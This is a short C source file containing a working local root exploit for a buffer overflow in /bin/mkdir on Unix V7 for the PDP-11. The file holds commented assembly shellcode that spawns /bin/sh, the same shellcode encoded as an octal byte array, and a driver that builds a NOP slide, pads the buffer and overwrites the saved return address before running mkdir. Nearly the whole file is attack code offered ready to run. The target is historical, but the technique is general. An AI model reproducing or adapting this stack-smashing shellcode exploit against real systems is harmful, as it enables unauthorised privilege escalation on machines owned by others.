/*
* Exploit for /bin/mkdir Unix V7 PDP-11.
* mkdir has a buffer overflow when checking if the directory
* in /arg/with/slashes/fname exists.
*
* This will run /bin/sh with euid 0, but not uid 0. Since
* the shell doesn't do anything special about this, we don't
* really care. If you care, run setuid(0); execl("/bin/sh", 0);
*/

/*
.globl _main
_main:
mov pc,r1
sub $-[sh-_main-2], r1 / pointer to sh
mov r1, r2
sub $-8, r2
clrb -1(r2) / null terminate
mov r1, r2
clr -(r1) / char *env[] = {0}
mov r1, r3
mov r2, -(r1) / char *argv[] = {sh, 0}
mov r1, r4
mov r3, -(r1) / reverse of sh,argv,env
mov r4, -(r1)
mov r2, -(r1)
sys 59.; 11111; 11111; 11111 / call execve
argv: 11111; 11111
sh: </bin/sh>
*/

char egg[] = { 0301, 021, 0301, 0345, 0326, 0377, 0102, 020,
0302, 0345, 0370, 0377, 062, 0212, 0377, 0377,
0102, 020, 041, 012, 0103, 020, 0241, 020,
0104, 020, 0341, 020, 041, 021, 0241, 020,
073, 0211, 0111, 022, 0111, 022, 0111, 022,
0111, 022, 0111, 022, 057, 0142, 0151, 0156,
057, 0163, 0150, 0 };

#define NOPSLIDE 50
#define CNT 136
#define PC 0xfea0

main(argc, argv)
int argc;
char **argv;
{
char buf[400];
int i;
char *argv2[4];

/* nop slide + egg */
for(i = 0; i < NOPSLIDE; ) {
buf[i++] = 0301;
buf[i++] = 021;
}
strcpy(buf + i, egg);

/* pad out to CNT */
for(i = strlen(buf); i < CNT; i++)
buf[i] = 'a';

/* overwrite retaddr */
buf[i++] = PC & 0xff;
buf[i++] = PC >> 8;

/* extra stuff */
buf[i++] = '/';
buf[i++] = 'a';
buf[i++] = 0;

argv2[0] = "/bin/mkdir";
argv2[1] = buf;
argv2[2] = 0;
execv(argv2[0], argv2);
return 0;
}